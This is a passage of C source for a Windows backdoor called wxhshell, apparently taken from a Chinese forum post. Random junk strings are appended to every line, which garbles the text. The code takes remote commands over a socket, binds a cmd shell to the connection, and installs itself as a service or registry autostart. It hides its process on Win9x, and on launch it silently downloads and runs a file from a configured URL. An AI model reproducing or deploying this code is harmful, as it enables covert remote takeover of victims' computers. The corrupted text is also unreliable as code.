    switch(cmd[0]) { zOR  
  kan?2x  
  // 帮助 ?#F}mOVAa  
  case '?': { L#'B-G4&y  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); U>^u!1X  
    break; anj*a<C<  
  } :tu_@3bg-  
  // 安装 *g$egipfF  
  case 'i': { dm60O8  
    if(Install()) &e\A v.n@-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M[ea!an  
    else Ju$vuEO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _"8\k 7S*  
    break; Ly?yW S-x  
    } 'l$<DcBj  
  // 卸载 dU]>  
  case 'r': { V~y4mpfX  
    if(Uninstall()) @P:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U @$Kp>X  
    else '|r('CIBN/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3AWNoXh  
    break; c43" o  
    } iw|6w,-)C  
  // 显示 wxhshell 所在路径 ms'!E)  
  case 'p': { C[$uf  
    char svExeFile[MAX_PATH]; +>N/q(l  
    strcpy(svExeFile,"\n\r"); QE7 r{  
      strcat(svExeFile,ExeFile); oLcOp.8h[  
        send(wsh,svExeFile,strlen(svExeFile),0); ;b:Ct<  
    break; 8H_3.MK  
    } B$b'bw.  
  // 重启 ?U]/4]  
  case 'b': { v~:$]a8  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); zV {[0s  
    if(Boot(REBOOT)) i]Or'L0c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K#g)t/SZ  
    else { _s./^B_w!  
    closesocket(wsh); I(E1ym  
    ExitThread(0); 94L P )n  
    } KYY~ YP  
    break; f<ABs4w  
    } fSdv%$;Hc  
  // 关机 Dqu1!f  
  case 'd': {  hM2^[8  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8Pklw^k   
    if(Boot(SHUTDOWN)) Y7)YJI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _Tyj4t0ElV  
    else { D,+I)-k<  
    closesocket(wsh); +<Ot@luE  
    ExitThread(0); ): C4"2l3  
    } 8}m] XO  
    break; 6Gjr8  
    } W&y%fd\&3  
  // 获取shell +ib72j%A  
  case 's': { 0q"&AxNsP  
    CmdShell(wsh); 67 >*AL  
    closesocket(wsh); C^RO@kM  
    ExitThread(0); @#ih;F  
    break; 5B| iBS l  
  } Mq]~Ka3q7  
  // 退出 [Fe`}F}Co8  
  case 'x': { !<}<HR^ )  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); kc `Q- N}  
    CloseIt(wsh); ~q#UH'=%  
    break; v]gJ 7x  
    } t)XNS!6#]?  
  // 离开 YS k,kU  
  case 'q': { 3]0ETcT  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); oT$w14b  
    closesocket(wsh); X:+;d8rCy  
    WSACleanup(); Ph2jj,K  
    exit(1); "YHqls}c  
    break; S/ ]2Qt#T  
        } K~AQ) ]pJI  
  } n_sCZ6uXEQ  
  } mZJ"e,AY  
I :%(nKBK  
  // 提示信息 U,Nf&g  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )(b]-  )  
} K[PIw}V$?:  
  } bl(rCbj(w  
6~V$0Y>]  
  return; Z ) qc-~S  
} _kl.zw%  
#rqLuqw  
// shell模块句柄 &V$_u#<  
int CmdShell(SOCKET sock) G%-[vk#]  
{ "zL<:TQ"  
STARTUPINFO si; `gfh]7T  
ZeroMemory(&si,sizeof(si)); I/rq@27o  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Hq"i0X m  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; C^XJE1D.  
PROCESS_INFORMATION ProcessInfo; 0sto9n3  
char cmdline[]="cmd"; Eic/#j{4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); D`,W1Z#  
  return 0; 5X4; (Qj  
} i5w  
a,x-akZWf  
// 自身启动模式 i-~HT4iw  
int StartFromService(void) :o?On/  
{ r ,D T>  
typedef struct eaCv8zdX  
{ R2yiExw<  
  DWORD ExitStatus; *=mtt^yZ  
  DWORD PebBaseAddress; q+5g+9  
  DWORD AffinityMask; K[PH#dF5,x  
  DWORD BasePriority; <xOXuve  
  ULONG UniqueProcessId; ,<0R'R  
  ULONG InheritedFromUniqueProcessId; d}j%. JJK  
}   PROCESS_BASIC_INFORMATION; sxinA8  
[Nbs{f^J=  
PROCNTQSIP NtQueryInformationProcess; Xd@  -  
~CCRs7V/L  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Md mS  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =7wI/5iN  
K?o( zh;  
  HANDLE             hProcess; fT.18{'>  
  PROCESS_BASIC_INFORMATION pbi; @?lmho?  
+XCLdf}dC  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); AP5[}$TT  
  if(NULL == hInst ) return 0; P|HxD0c^u  
N^z4I,GV(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); EKo!vie G  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #{KYsDtvx  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,|6 O}E&  
EK`}?>'  
  if (!NtQueryInformationProcess) return 0; o~<Xc  
mrWPTCD{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); W|h~&O  
  if(!hProcess) return 0; /}A"F[5  
$2uk;&"?A=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9'+Eu)l:  
'/M9V{DD88  
  CloseHandle(hProcess); :0N} K}  
)N$T&  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); yTJ Eo\g/@  
if(hProcess==NULL) return 0; =`Ii ?xo  
Z 0&=Lw  
HMODULE hMod; X.}i9a 6  
char procName[255]; >}<1  
unsigned long cbNeeded; Nl/^ga  
ls[0X82F  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;IyA"C(i  
N)yCGo  
  CloseHandle(hProcess); 7p1f*N[X  
-)N, HAM>  
if(strstr(procName,"services")) return 1; // 以服务启动 5<64 C}fE3  
PU8>.9x  
  return 0; // 注册表启动 JR6r3W  
} l9{}nz  
b5i ehoA  
// 主模块 xhcFZTj/(  
int StartWxhshell(LPSTR lpCmdLine) ^mwS6WH6  
{ i?{)o]i  
  SOCKET wsl; j xc^OsYj  
BOOL val=TRUE; *Aqd["q  
  int port=0; 3uXRS,C  
  struct sockaddr_in door; WwDd62g  
XXD LbT'J  
  if(wscfg.ws_autoins) Install(); `\-<tk9  
>U\1*F,Om,  
port=atoi(lpCmdLine); %eOO8^N  
iW%~>`tT  
if(port<=0) port=wscfg.ws_port; NH aY&\  
Q{[l1:  
  WSADATA data; ;F_pF+&q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %6.WGuO  
qdnwaJ;&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   2A=q{7s  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !S~0T!afF  
  door.sin_family = AF_INET;  CK+t6Gp  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @WCA 7DW!  
  door.sin_port = htons(port); Sx8RH),k  
pC~ M5(F_  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~pT1,1  
closesocket(wsl); $GR rTC!  
return 1; ?}e^-//*i  
} "&:H }Jd  
nIr:a|}[  
  if(listen(wsl,2) == INVALID_SOCKET) { VUi> ]v/e  
closesocket(wsl); H+{@V B  
return 1; i E?yvtr8  
} j1rR3)oP  
  Wxhshell(wsl); 4/ WKR3X  
  WSACleanup(); n:[@#xs-  
n)0M1o#  
return 0; Ht:\ z;cu  
JZdRAL2#v  
} K491QXG  
bcq&yL'D  
// 以NT服务方式启动 9W0*|!tQ,+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )@ofczl6  
{ 0xx4rp H  
DWORD   status = 0; ?[uHRBR'  
  DWORD   specificError = 0xfffffff; g >@a  
KL6B!B{;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 182g6/,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %AN,cE*  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  )m#Y^  
  serviceStatus.dwWin32ExitCode     = 0; "IB36/9  
  serviceStatus.dwServiceSpecificExitCode = 0; qm"SN<2S*  
  serviceStatus.dwCheckPoint       = 0; !Rc %  
  serviceStatus.dwWaitHint       = 0; {cUGksz]}  
XG*> yra`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ; Xf1BG r  
  if (hServiceStatusHandle==0) return; YKz#,  
)Q62I\  
status = GetLastError(); kia[d984w  
  if (status!=NO_ERROR) 5S8>y7knQ  
{ ]ag{sU@#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; x|yJCs>  
    serviceStatus.dwCheckPoint       = 0; PZQAlO,  
    serviceStatus.dwWaitHint       = 0; (5@H<c^6  
    serviceStatus.dwWin32ExitCode     = status; v)T# iw[  
    serviceStatus.dwServiceSpecificExitCode = specificError; B~^*@5#0|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); o">~ObR  
    return; L}CU"  
  } m94PFD@N  
ht*(@MCr<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =%<, ^2o  
  serviceStatus.dwCheckPoint       = 0; tT!' qL.*  
  serviceStatus.dwWaitHint       = 0; yuy\T(7BN  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); kc0MQ TJU  
} Q 8Hl7__^  
;py9,Wno  
// 处理NT服务事件,比如:启动、停止 z bYv}q  
VOID WINAPI NTServiceHandler(DWORD fdwControl)  [Q{\Ik  
{ ;-8.~Sm  
switch(fdwControl) U+*l!"O,  
{ }2@Z{5sh)  
case SERVICE_CONTROL_STOP: o5p{ O>D[z  
  serviceStatus.dwWin32ExitCode = 0; hcj]T?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; r :$tvT*  
  serviceStatus.dwCheckPoint   = 0; AwXzI;F^  
  serviceStatus.dwWaitHint     = 0; 41Z@_J|&  
  { I]` RvT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); X5YOxMq  
  } [:.wCG5  
  return; ?5J# yn  
case SERVICE_CONTROL_PAUSE: {daX?N|V  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; VS/M@y_./  
  break; l>K+4  
case SERVICE_CONTROL_CONTINUE: e)wi}\:q_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3nG.ah  
  break; 3!b $R?kZ  
case SERVICE_CONTROL_INTERROGATE: lwq:0Rj@Q  
  break; aSvv(iV  
}; \KnRQtlI  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); o3dqsQE%  
} zI4rAsysL  
]5jS6 @Vl*  
// 标准应用程序主函数 Tk?uJIS :  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) e?.j8 Q ~  
{ >Xk42zvqn  
JY2<ECO  
// 获取操作系统版本 ekvs3a^  
OsIsNt=GetOsVer(); *rmC3'}s  
GetModuleFileName(NULL,ExeFile,MAX_PATH); H P.=6bJWi  
M !'d  
  // 从命令行安装 /IWA U)A0  
  if(strpbrk(lpCmdLine,"iI")) Install(); |-x-CSN  
uK@d?u!`  
  // 下载执行文件 q13fmK(n-5  
if(wscfg.ws_downexe) { ,gVVYH?qR  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) YSeH;<'  
  WinExec(wscfg.ws_filenam,SW_HIDE); rS_G;}Zr  
} xRD+!3  
K>DN6{hnV;  
if(!OsIsNt) { 4C=W~6~  
// 如果时win9x,隐藏进程并且设置为注册表启动 d$3rcH1  
HideProc(); :|s8v2am  
StartWxhshell(lpCmdLine); W_2;j)i  
} +r3)\L{U  
else i]r(VKX  
  if(StartFromService()) fB3Jp~$  
  // 以服务方式启动 "@&TC"YG0  
  StartServiceCtrlDispatcher(DispatchTable); K5qCPt`'  
else Z6zV 9hn  
  // 普通方式启动 @wcF#?J  
  StartWxhshell(lpCmdLine); ,,{;G'R|  
0#8   
return 0; 8:{id>Mm^  
}
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只看该作者 1 发表于: 2006-10-10
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